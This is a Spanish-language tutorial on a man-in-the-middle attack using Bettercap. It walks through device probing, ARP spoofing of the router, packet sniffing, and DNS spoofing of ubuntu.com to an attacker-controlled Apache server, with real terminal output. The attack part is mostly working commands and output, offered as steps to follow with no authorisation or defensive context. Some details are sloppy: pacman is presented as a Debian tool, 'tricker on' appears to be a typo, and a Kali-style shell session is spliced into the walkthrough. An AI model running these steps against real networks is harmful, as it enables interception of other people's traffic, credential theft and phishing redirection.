

# MAN IN THE MIDDLE CON BETTERCAP en manjaro

## 1. Instalación de Bettercap

Para usar **Bettercap**, primero lo instalas en tu sistema basado en Debian/Ubuntu con:

`pacman -S bettercap`

```
[GHUERTAS ghuertas]# sudo pacman -S bettercap
resolviendo dependencias...
buscando conflictos entre paquetes...

Paquetes (2) libnetfilter_queue-1.0.5-2  bettercap-2.33.0-1

Tamaño total de la descarga:      7,98 MiB
Tamaño total de la instalación: 27,23 MiB

:: ¿Continuar con la instalación? [S/n] s
```

## 2. Detección de dispositivos en la red

Activar el escaneo de dispositivos conectados en la red:

`net.probe on`

```
[GHUERTAS ghuertas]# bettercap
bettercap v2.33.0 (built for linux amd64 with go1.23.1) [type 'help' for a list of commands]

192.168.1.0/24 > 192.168.1.31 » [23:11:03] [sys.log] [inf] gateway monitor started ...
192.168.1.0/24 > 192.168.1.31 » net.probe on
192.168.1.0/24 > 192.168.1.31 » [23:11:12] [sys.log] [inf] net.probe starting net.recon as a require
ment for net.probe
192.168.1.0/24 > 192.168.1.31 » [23:11:12] [sys.log] [inf] net.probe probing 256 addresses on 192.16
```

Opcionalmente, puedes hacer que la información se vea mejor con

`tricker on`

## 3. Identificación de la puerta de enlace

Antes de interceptar el tráfico, necesitas conocer la **IP de la puerta de enlace** (router), ya que te harás pasar por ella para engañar a los dispositivos en la red.

#### 4. Spoofing de ARP (suplantación de la puerta de enlace)

Engañamos a los dispositivos para que crean que nuestra máquina es el router:

```
set arp.spoof.targets [IP_DEL_ROUTER]
arp.spoof on
```

```
192.168.1.0/24 > 192.168.1.31 » arp.spoof on
[23:16:12] [sys.log] [inf] arp.spoof enabling forwarding
192.168.1.0/24 > 192.168.1.31 » [23:16:12] [sys.log] [inf] arp.spoof starting net.recon as a require
ment for arp.spoof
```

Esto redirige el tráfico a nuestra máquina.

#### 5. Intercepción del tráfico

Para capturar los paquetes que pasan a través de nuestro equipo:

```
set net.sniff.verbose false
net.sniff on
```

Esto permitirá ver los paquetes sin información adicional innecesaria.

#### 6. Spoofing de DNS (Redirección de dominios)

Para redirigir un dominio específico a una dirección falsa:

```
set dns.spoof.domains ubuntu.com
set dns.spoof.address [IP_DEL_APACHE]
192.168.1.0/24 > 192.168.1.31 » set dns.spoof.domains ubuntu.com
192.168.1.0/24 > 192.168.1.31 » set dns.spoof.address [IP_DEL_APACHE]
```

Esto redirigiría el tráfico de ubuntu.com a un servidor web controlado por nosotros.

```
(root@ghuertas)-[/var/www/html]
# systemctl start apache 2
ailed to start apache.service: Unit apache.service not found.
ailed to start 2.service: Unit 2.service not found.

(root@ghuertas)-[/var/www/html]
# systemctl start apache2

(root@ghuertas)-[/var/www/html]
# systemctl status apache2
apache2.service - The Apache HTTP Server
  Loaded: loaded (/lib/systemd/system/apache2.service; disabled; preset: disabled)
  Active: active (running) since Tue 2024-03-05 22:43:19 CET; 30s ago
    Docs: https://httpd.apache.org/docs/2.4/
  Process: 7790 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
 Main PID: 7807 (apache2)
    Tasks: 6 (limit: 4559)
   Memory: 20.0M
      CPU: 391ms
   CGroup: /system.slice/apache2.service
           └─7807 /usr/sbin/apache2 -k start
           └─7810 /usr/sbin/apache2 -k start
           └─7811 /usr/sbin/apache2 -k start
           └─7812 /usr/sbin/apache2 -k start
           └─7813 /usr/sbin/apache2 -k start
           └─7814 /usr/sbin/apache2 -k start

Mar 05 22:43:19 ghuertas systemd[1]: Starting apache2.service - The Apache HTTP Server ...
Mar 05 22:43:19 ghuertas systemd[1]: Started apache2.service - The Apache HTTP Server.

(root@ghuertas)-[/var/www/html]
#
```